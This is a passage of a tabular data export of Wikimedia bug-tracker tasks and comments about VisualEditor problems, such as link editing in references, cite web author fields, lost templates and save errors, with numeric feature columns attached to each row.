When trying to edit the old version of the article I get a strange result: I don't see the external links in the reference editor at all.",,,1412445538,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6fktzxq6di35ahdf6gf4,task_subcomment,,True,c1,3,False,,,65,,2.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,8.0,2.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.877551020408163,0.7755102040816326,"I cannot reproduce this with the current version of the article, which has similar content.

When trying to edit the old version of the article I get a strange result: I don't see the external links in the reference editor at all."
253122,VisualEditor: nowiki when trying to edit an external link in references,"Confirmed

Steps to reproduce:
1. https://de.wikipedia.org/w/index.php?title=Kin-dsa-dsa!&oldid=117367043&veaction=edit
2. open the ref dialog for the last ref in the first paragraph of section 'Video'
3. open link dialog for the first external link
4. replace http://kinocenter.rsuh.ru/Dan2.htm with http://wayback.archive.org/web/20080603185657/http://kinocenter.rsuh.ru/Dan2.htm

Expected results:
Only the URL changes

Actual results:
<nowiki>[1]</nowiki> is inserted

Reproduced on a much smaller test case here:
https://de.wikipedia.org/w/index.php?title=Benutzer:John_Vandenberg/test&diff=123052743&oldid=123052686",,,1380638685,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-6fktzxq6di35ahdf6gf4,task_subcomment,,True,c1,3,False,,,13,,1.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,3.632911392405063,0.6075949367088608,"Confirmed

Steps to reproduce:
1. URL
2. open the ref dialog for the last ref in the first paragraph of section 'Video'
3. open link dialog for the first external link
4. replace URL with URL

Expected results:
Only the URL changes

Actual results:
<nowiki>[1]</nowiki> is inserted

Reproduced on a much smaller test case here:
URL"
55166,Cannot enter multiple authors in cite web template,"When I add a reference and add a template of type ""cite web"" in the reference, the template only allows me to enter a single author last name and a single author first name. To enter multiple authors I'm supposed to use the attributes ""last1, first1 through last9, first9 for up to nine authors"", but VisualEditor doesn't seem to offer the possibility of adding these attributes.

There is an ""others"" field, but this is only supposed to be used for people who are neither authors nor editors, e.g. illustrators.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC",Needs Triage,90.0,1377110520,1377114222.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,False,PHID-TASK-oeqdjrsyoun6qoc3mib4,task_description,invalid,True,c1,3,False,False,True,7,,0.0,0.0,0.0,1.5,0.5,4.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.5,1.5,0.0,3.0,7.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,3.0,7.5,0.5,3.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,1.5,7.0,2.0,0.0,3.5,0.0,1.5,0.0,1.0,2.5,0.5,0.5,0.0,0.0,0.0,3.7293762575452716,0.645271629778672,"When I add a reference and add a template of type ""cite web"" in the reference, the template only allows me to enter a single author last name and a single author first name. To enter multiple authors I'm supposed to use the attributes ""last1, first1 through last9, first9 for up to nine authors"", but VisualEditor doesn't seem to offer the possibility of adding these attributes.

There is an ""others"" field, but this is only supposed to be used for people who are neither authors nor editors, e.g. illustrators.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC"
252241,Cannot enter multiple authors in cite web template,"This is a failing in the TemplateData that has been written for the template - it seems that the author of the template's hinting didn't bother to put in last1-9 or first1-9.

However, despite the lack of hinting, you can enter these in VisualEditor (just manually type in 'first1' as a parameter, add it, set a value, repeat for 'last1', and so on for each additional author). It's very laborious, which is why this should be fixed in the template's TemplateData, but not an issue with VisualEditor.",,,1377114222,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oeqdjrsyoun6qoc3mib4,task_subcomment,,True,c1,3,True,,,7,,1.0,0.0,1.0,1.5,1.5,2.0,1.5,0.0,0.0,0.0,4.5,4.0,0.0,0.0,0.0,0.0,0.0,6.5,10.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,2.5,3.5,0.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,11.5,2.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,6.5,3.0,4.5,2.0,2.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,10.5,3.0,0.0,3.5,0.0,3.0,0.0,2.5,3.0,0.0,0.0,0.0,0.0,0.0,3.6708959899749374,0.7611215538847118,"This is a failing in the TemplateData that has been written for the template - it seems that the author of the template's hinting didn't bother to put in last1-9 or first1-9.

However, despite the lack of hinting, you can enter these in VisualEditor (just manually type in 'first1' as a parameter, add it, set a value, repeat for 'last1', and so on for each additional author). It's very laborious, which is why this should be fixed in the template's TemplateData, but not an issue with VisualEditor."
55114,VisualEditor: Removal of template when adding reference list,"Screencast

When trying to add a new section and a reference list an existing template (defaultsort) gets removed, see screencast attachment.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11699}",Needs Triage,90.0,1377029340,1416183797.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-dit32vs3thukzudalngg,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,4.018518518518518,0.6851851851851852,"Screencast

When trying to add a new section and a reference list an existing template (defaultsort) gets removed, see screencast attachment.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11699}"
249347,VisualEditor: Removal of template when adding reference list,Cannot reproduce. This must have been fixed at some point. I wonder if it was a Parsoid issue...,,,1416183797,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dit32vs3thukzudalngg,task_subcomment,,True,c1,3,True,,,72,,5.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,18.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.590909090909091,0.9545454545454546,Cannot reproduce. This must have been fixed at some point. I wonder if it was a Parsoid issue...
249343,VisualEditor: Removal of template when adding reference list,Does this still happen?,,,1414811151,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dit32vs3thukzudalngg,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Does this still happen?
54910,"""edit lead section"" link incorrectly points to second section","**Author:** `sumanah`

**Description:**
On mediawiki.org, I have enabled the ""Add an [edit] link for the lead section of a page"" gadget and the ""Enable section editing via [edit] links"" Preference (in the Editing tab).

If I go to a wiki page on mediawiki.org and click ""edit"" or ""edit source"" next to the title of an article (e.g., on https://www.mediawiki.org/wiki/Wikimedia_Labs ), then the VisualEditor link correctly thinks I want section 0, the lead section:

https://www.mediawiki.org/w/index.php?title=Wikimedia_Labs&veaction=edit&section=0

but the ""edit source"" link thinks I want section #1 and thus brings me to edit the ""Background"" section:

https://www.mediawiki.org/w/index.php?title=Wikimedia_Labs&action=edit&section=1

This may be a problem with the gadget rather than with VE, but it only started recently, so I think it might be a VE-related issue.  (I have looked at Bug 51030 - ""Edit link for lead section no longer works"" which sounds sort of separate.)  I shall also mention this bug in the talk page of the relevant gadget.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1376623920,1376668133.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-bid73jyquzumwcuffblp,task_description,invalid,True,c1,3,False,False,True,6,,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,3.0,0.0,5.333333333333333,7.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,3.6666666666666665,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,13.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,6.333333333333333,0.6666666666666666,10.333333333333334,0.3333333333333333,2.0,7.666666666666667,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,1.0,0.0,3.6666666666666665,7.333333333333333,2.6666666666666665,0.0,5.0,0.0,3.6666666666666665,0.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,3.401637426900585,0.6743859649122808,"**Author:** CODE

**Description:**
On mediawiki.org, I have enabled the ""Add an [edit] link for the lead section of a page"" gadget and the ""Enable section editing via [edit] links"" Preference (in the Editing tab).

If I go to a wiki page on mediawiki.org and click ""edit"" or ""edit source"" next to the title of an article (e.g., on URL ), then the VisualEditor link correctly thinks I want section 0, the lead section:

URL

but the ""edit source"" link thinks I want section #1 and thus brings me to edit the ""Background"" section:

URL

This may be a problem with the gadget rather than with VE, but it only started recently, so I think it might be a VE-related issue.  (I have looked at Bug 51030 - ""Edit link for lead section no longer works"" which sounds sort of separate.)  I shall also mention this bug in the talk page of the relevant gadget.

--------------------------
**Version**: unspecified
**Severity**: normal"
237523,"""edit lead section"" link incorrectly points to second section",Definitely a problem with the gadget.,,,1376668133,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bid73jyquzumwcuffblp,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,Definitely a problem with the gadget.
54908,"VisualEditor: ""Error: Unknown error"" when creating page on test2wiki","**Author:** `sumanah`

**Description:**
close-up of error message and greyed button

1. Try to use the VE to create a page at https://test2.wikipedia.org (while logged in, if that makes a difference).

2. Click ""Save page"" button.

The ""Save page"" button greys out and ""Error: Unknown error"" shows up to its left.  The user assumes that the page has not been saved.  But it has been created, e.g., https://test2.wikipedia.org/wiki/Kim_Stanley_Robinson .

By the way, if the user reacts to the error by clicking Review changes and then getting back to Save, everything works fine.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11279}",Needs Triage,90.0,1376614380,1383015953.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-aphzv5yajhoubslqbzir,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.5,0.0,1.5,0.5,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,9.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,12.5,2.5,2.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,9.0,4.5,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,3.2341772151898738,0.6329113924050633,"**Author:** CODE

**Description:**
close-up of error message and greyed button

1. Try to use the VE to create a page at URL (while logged in, if that makes a difference).

2. Click ""Save page"" button.

The ""Save page"" button greys out and ""Error: Unknown error"" shows up to its left.  The user assumes that the page has not been saved.  But it has been created, e.g., URL .

By the way, if the user reacts to the error by clicking Review changes and then getting back to Save, everything works fine.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11279}"
237410,"VisualEditor: ""Error: Unknown error"" when creating page on test2wiki","I think this was due to a bug in the save dialog that we fixed last month; closing. If it re-occurs, please re-open this bug so we can fix this issue too.",,,1383015953,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aphzv5yajhoubslqbzir,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,15.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,2.0,5.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.075,0.825,"I think this was due to a bug in the save dialog that we fixed last month; closing. If it re-occurs, please re-open this bug so we can fix this issue too."
237405,"VisualEditor: ""Error: Unknown error"" when creating page on test2wiki","**sumanah** wrote:

Also, as you can see in https://test2.wikipedia.org/wiki/Special:Contributions/Sharihareswara_%28WMF%29 and (for instance) https://test2.wikipedia.org/w/index.php?title=Kim_Stanley_Robinson&oldid=57690 , those creation edits don't get the ""VisualEditor"" tag.",,,1376676868,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-aphzv5yajhoubslqbzir,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.057142857142857,0.8285714285714286,"**sumanah** wrote:

Also, as you can see in URL and (for instance) URL , those creation edits don't get the ""VisualEditor"" tag."
54847,"VisualEditor: Edit summary length counter ""hidden"" on it.wp","This does not affect Firefox, from what I saw - I used Chrome.
I'd add a screenshot but it is really just as the summary says, 
the number is there and it is working but you can not see it because the equivalent for ""Watch this page"", which is ""Aggiungi agli osservati speciali"", overlaps it (only the last word, of course).
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1376489160,1394501931.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-z73kr2qs67okpafmzjog,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,2.0,4.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,11.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,5.0,3.0,0.0,4.0,0.0,8.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.520408163265306,0.6530612244897959,"This does not affect Firefox, from what I saw - I used Chrome.
I'd add a screenshot but it is really just as the summary says, 
the number is there and it is working but you can not see it because the equivalent for ""Watch this page"", which is ""Aggiungi agli osservati speciali"", overlaps it (only the last word, of course).
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
233805,"VisualEditor: Edit summary length counter ""hidden"" on it.wp",This was I think fixed some time ago. Sorry for the very slow triage.,,,1394501931,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-z73kr2qs67okpafmzjog,task_subcomment,,True,c1,3,True,,,36,,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9375,This was I think fixed some time ago. Sorry for the very slow triage.
54814,End of transcluded page not/incorrectly detected,"Screenshot 1

https://de.wikipedia.org/wiki/Knebel transcludes https://de.wikipedia.org/wiki/Konrad_Knebel

Only 2 lines are transcluded but the VisualEditor does not detect the end of the transclusion, see screenshot 1.

The other 3 lines are handled as content of this ""template"", see screeshot 2.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Knebel

**Attached**: {F11960}",Needs Triage,90.0,1376417640,1376639350.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-es2flh3nsdngj3dxtuxi,task_description,resolved,True,c1,3,False,False,True,6,,0.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.602409638554217,0.5421686746987951,"Screenshot 1

URL transcludes URL

Only 2 lines are transcluded but the VisualEditor does not detect the end of the transclusion, see screenshot 1.

The other 3 lines are handled as content of this ""template"", see screeshot 2.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11960}"
257002,End of transcluded page not/incorrectly detected,"

*** This bug has been marked as a duplicate of bug 51119 ***",,,1376639350,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-es2flh3nsdngj3dxtuxi,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51119 ***"
256996,End of transcluded page not/incorrectly detected,"Created attachment 13094
Screenshot 2

**Attached**: {F11961}",,,1376417681,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-es2flh3nsdngj3dxtuxi,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.8125,"Created attachment 13094
Screenshot 2

**Attached**: {F11961}"
54798,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Input in VisualEditor and Output after saving (+ Parsoid Server output)

MediaWiki:
1.22alpha (ffa9b0a) 19:02, 11. Aug. 2013

VisualEditor (Version 0.1.0)(0e76b1b)20:01, 11. Aug. 2013

ParsoidServer:
commit 808cc39c81df83daaec458c81edbd126fd1dd19a
Author: Subramanya Sastry <ssastry@wikimedia.org>
Date:   Mon Aug 12 16:15:24 2013 -0500


Adding more than one empty line isn't possible in the VisualEditor extension. Is this a desired behaviour?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11917}",Needs Triage,90.0,1376401560,1397676105.0,PHID-USER-26asvhtv4jalaeeuigbm,False,,False,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_description,declined,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,6.0,0.0,0.0,3.0,10.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,1.5,4.490909090909091,0.7090909090909091,"Input in VisualEditor and Output after saving (+ Parsoid Server output)

MediaWiki:
1.22alpha (ffa9b0a) 19:02, 11. Aug. 2013

VisualEditor (Version 0.1.0)(0e76b1b)20:01, 11. Aug. 2013

ParsoidServer:
commit 808cc39c81df83daaec458c81edbd126fd1dd19a
Author: Subramanya Sastry <ssastry@wikimedia.org>
Date:   Mon Aug 12 16:15:24 2013 -0500


Adding more than one empty line isn't possible in the VisualEditor extension. Is this a desired behaviour?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11917}"
255714,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Multiple sequential blank paragraphs are collapsed to one by design (we provide an HTML editor, not a desktop publishing system).",,,1397676105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.583333333333333,1.0,"Multiple sequential blank paragraphs are collapsed to one by design (we provide an HTML editor, not a desktop publishing system)."
255708,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Still happening with the following VE-commit

commit c98a964d5f8495f0d16af9229abbeb0449042d1e
Merge: 3d01a5b e7aed52
Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Wed Sep 18 01:11:46 2013 +0000
Merge ""Fix check for preformatted when stripping whitespace""

